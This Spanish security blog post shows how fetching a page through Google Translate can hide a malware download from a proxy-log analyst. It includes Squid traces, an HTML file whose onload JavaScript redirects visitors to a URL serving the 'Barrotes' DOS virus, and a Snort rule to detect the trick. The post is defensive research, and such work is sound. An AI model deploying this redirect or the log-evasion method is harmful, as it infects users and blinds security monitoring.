Volvamos al Collins

En la actualidad, el tráfico http cada vez es menos visible para un analista de seguridad ya que ahora, en muchos casos, los servidores web obligan a usar https y por lo tanto, dejamos de tener mucha visibilidad.

En este aspecto, algunas organizaciones optan, o bien por “romper” el tráfico ssl gracias al uso de un certificado impuesto, o bien solo permiten acceso https para algunos servicios determinados. Algunos de estos servicios, como es el caso de Google, suelen estar permitidos.

Hablemos entonces, por ejemplo, del traductor de Google. Se me ocurrió la idea de hacer bypass a las conexiones a través de un traductor, en este caso de Google.

Para las pruebas instalé un proxy transparente (Squid) y analicé las trazas de navegación hacia un sitio con determinados recursos, y después lo hice a través de “Google Translate”, y vi que se producían ciertas diferencias entre los dos casos.

A continuación se muestran los dos tipos de navegación, donde primero se accede a la web del Ayuntamiento de Madrid directamente y después se accede traduciendo la web a chino.

Visita sin traducir:

1487754265.680    179 ::1 TCP_MISS/200 909 GET http://www.google.es/url? - HIER_DIRECT/216.58.198.67 text/html
1487754265.986    216 ::1 TCP_MISS/302 661 GET http://www.madrid.es/ - HIER_DIRECT/84.53.132.56 text/html
1487754266.055     53 ::1 TCP_MISS/200 17113 GET http://www.madrid.es/portal/site/munimadrid - HIER_DIRECT/84.53.132.56 text/html
1487754266.124     37 ::1 TCP_MISS/200 2965 GET http://www.madrid.es/assets/css/vendor.css - HIER_DIRECT/84.53.132.56 text/css
1487754266.177     89 ::1 TCP_MISS/200 21562 GET http://www.madrid.es/assets/css/ayuntamiento-madrid-bootstrap.min.css? - HIER_DIRECT/84.53.132.56 text/css
1487754266.179     89 ::1 TCP_MISS/200 983 GET http://www.madrid.es/assets/css/ayuntamiento-madrid-custom.css? - HIER_DIRECT/84.53.132.56 text/css
1487754266.198    107 ::1 TCP_MISS/200 1509 GET http://www.madrid.es/assets/css/ayuntamiento-madrid-print.min.css? - HIER_DIRECT/84.53.132.56 text/css
1487754266.207    115 ::1 TCP_MISS/200 20274 GET http://www.madrid.es/new/js/jquery-1.3.2.min.js - HIER_DIRECT/84.53.132.56 text/javascript
[...]
1487754266.347     68 ::1 TCP_MISS/200 2090 GET http://www.madrid.es/assets/images/logo-madrid.png - HIER_DIRECT/84.53.132.56 image/png

Ahora se traduce:

Las trazas que se ven son:

1487754569.785    228 ::1 TCP_MISS/302 693 GET http://translate.google.com/ - HIER_DIRECT/216.58.211.238 text/html
1487754649.654     64 ::1 TCP_MISS/200 0 CONNECT inputtools.google.com:443 - HIER_DIRECT/216.58.210.142 -
1487754651.531    137 ::1 TCP_MISS/304 359 GET http://www.madrid.es/assets/images/logo-madrid.png - HIER_DIRECT/84.53.132.56 image/png
1487754651.543    148 ::1 TCP_MISS/304 360 GET http://www.madrid.es/assets/images/temperatura/n_13.png - HIER_DIRECT/84.53.132.56 image/png
1487754651.544    149 ::1 TCP_MISS/304 361 GET http://www.madrid.es/Datelematica/nuevoMadrid/Promocionales/Inicio/ParaTi/LoqueInteresa_Discapacidad.png - HIER_DIRECT/84.53.132.56 image/png
1487754651.547    152 ::1 TCP_MISS/304 323 GET http://www.madrid.es/Datelematica/nuevoMadrid/Promocionales/Inicio/AUnClic/Ficheros/2017_Presupuesto_260x260.jpg - HIER_DIRECT/84.53.132.56 image/jpeg
1487754651.563    168 ::1 TCP_MISS/304 361 GET http://www.madrid.es/Datelematica/nuevoMadrid/Promocionales/Inicio/AUnClic/Ficheros/planDerechosHumanos260x.png - HIER_DIRECT/84.53.132.56 image/png
1487754651.925    218 ::1 TCP_MISS/200 9464 CONNECT sdc.munimadrid.es:443 - HIER_DIRECT/195.55.79.59 -
1487754652.154    122 ::1 TCP_MISS/200 774 CONNECT sdc.munimadrid.es:443 - HIER_DIRECT/195.55.79.59 -
1487754705.432 176513 ::1 TCP_MISS/200 908 CONNECT consent.google.com:443 - HIER_DIRECT/216.58.201.142 -
1487754744.593 216543 ::1 TCP_MISS/200 212203 CONNECT www.google.es:443 - HIER_DIRECT/216.58.198.67 -
1487754746.434 176171 ::1 TCP_MISS/200 45760 CONNECT www.gstatic.com:443 - HIER_DIRECT/216.58.211.227 -
1487754755.436 176386 ::1 TCP_MISS/200 5237 CONNECT clients1.google.com:443 - HIER_DIRECT/216.58.211.238 -
1487754758.387    673 ::1 TCP_MISS/200 4247 CONNECT securityartwork.es:443 - HIER_DIRECT/90.161.233.229 -
1487754758.746 176030 ::1 TCP_MISS/200 5103 CONNECT ssl.gstatic.com:443 - HIER_DIRECT/216.58.211.227 -

¿Y los javascript? Esto es un ejemplo, pero ahora se hace una prueba de concepto para que se vea mejor.

Para esta prueba, he registrado una cuenta en un hosting gratuito, he instalado WordPress (http://www.smsmms.5gbfree.com) y además, he instalado una serie de plugins para poder incluir javascript, por ejemplo en el header del blog. Este código descarga el virus “Barrotes” cuando se carga la página.

Una vez la página es cargada, descargará un virus de forma directa, tal y como se ve:

1487760822.889   3224 ::1 TCP_MISS/200 54563 GET http://www.smsmms.5gbfree.com/uncategorized/hello-world/ - HIER_DIRECT/209.90.88.138 text/html
1487760823.155    479 ::1 TCP_MISS/200 994 GET http://www.smsmms.5gbfree.com/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js? - HIER_DIRECT/209.90.88.138 application/javascript
1487760823.176    498 ::1 TCP_MISS/200 1390 GET http://www.smsmms.5gbfree.com/wp-includes/js/comment-reply.min.js? - HIER_DIRECT/209.90.88.138 application/javascript

[…]

1487760823.925   1252 ::1 TCP_MISS/200 97497 GET http://www.smsmms.5gbfree.com/wp-includes/js/jquery/jquery.js? - HIER_DIRECT/209.90.88.138 application/javascript
1487760824.030    106 ::1 TCP_MISS/200 2225 GET http://2.gravatar.com/avatar/? - HIER_DIRECT/192.0.73.2 image/jpeg
1487760825.616   1664 ::1 TCP_MISS/200 115156 GET http://www.smsmms.5gbfree.com/wp-content/themes/twentyseventeen/assets/images/header.jpg - HIER_DIRECT/209.90.88.138 image/jpeg
1487760826.330    701 ::1 TCP_MISS/200 2005 GET http://missjanieboo.cf/DOS_Viruses/Virus.DOS.Barrotes.1310.j - HIER_DIRECT/100.7.27.163 -

Ahora de lo que se trata es de realizar la misma acción pero ocultando al analista lo que está pasando por debajo. Por tanto, en el siguiente paso se crea un fichero html llamado welcome.html con ruta http://www.smsmms.5gbfree.com/wp-includes/js/welcome.html y que contiene el siguiente código:

<html>

<head></head>

<title>Esto es una prueba.</title>

<script language=javascript>
function redirect(){
  window.location = "http://missjanieboo.cf/DOS_Viruses/Virus.DOS.Barrotes.1310.j";
}
</script>

<body onload="redirect()">
<b>llamada a barrotes</b><br>
</body>
</html>

Como se puede apreciar, ahora dentro del fichero welcome.html está el código javascript que antes habíamos incluido en el header. La diferencia es que lo hemos trasladado a un nuevo fichero html al que vamos a llamar desde otro javascript, y además con la peculiaridad que en la llamada lo vamos a hacer con el traductor de Google. Por lo tanto, ahora el header de la web contiene lo siguiente:

Ahora al visitar http://www.smsmms.5gbfree.com solo se ven las siguientes trazas:

1487764452.129   1580 127.0.0.1 TCP_MISS/200 50176 GET http://www.smsmms.5gbfree.com/ - HIER_DIRECT/209.90.88.138 text/html
1487764452.497    310 127.0.0.1 TCP_MISS_ABORTED/000 0 GET http://www.smsmms.5gbfree.com/favicon.ico - HIER_DIRECT/209.90.88.138 -
1487764452.570    367 127.0.0.1 TCP_MISS/200 84047 GET http://translate.google.com/translate? - HIER_DIRECT/216.58.201.142 text/html
1487764452.732    130 127.0.0.1 TCP_MISS/200 1032 GET http://translate.googleusercontent.com/translate_p? - HIER_DIRECT/216.58.201.129 text/html
1487764453.177    372 127.0.0.1 TCP_MISS/200 2142 GET http://translate.googleusercontent.com/translate_c? - HIER_DIRECT/216.58.201.129 text/html
1487764453.306     65 127.0.0.1 TCP_MISS/200 705 GET http://translate.google.com/translate_un? - HIER_DIRECT/216.58.201.142 text/html

Análisis con fiddler:

En las trazas no se ve ni rastro de la petición al virus con lo cual es una manera fácil de ocultar al analista de seguridad lo que está pasando, sin hacer uso de https.

Pero en el navegador del usuario se ve esto:

Cuando se analiza la web en VirusTotal solo aparece un positivo:

https://www.virustotal.com/es/url/37938e526b0f14810615c3767c4d065d3619aee089b31a028a0ff636ddea12ae/analysis/1487767140/

Una buena forma de detectar posibles accesos no autorizados a través del traductor de Google es crear una regla que contenga una expresión regular que sea capaz alertar si sucede.

Ejemplo para snort:

alert tcp any any -> any $HTTP_PORTS (msg:"Malware Patron google_translate_redirect"; content:"translate.google.com"; pcre:"/.+translate\.google\.com\/translate.*\?.+\=.+\&u\=(http|www).+\..+/";  classtype:trojan-activity; sid:9999999999; rev:1;)

Comments

  1. Buena informacion saludos !!!!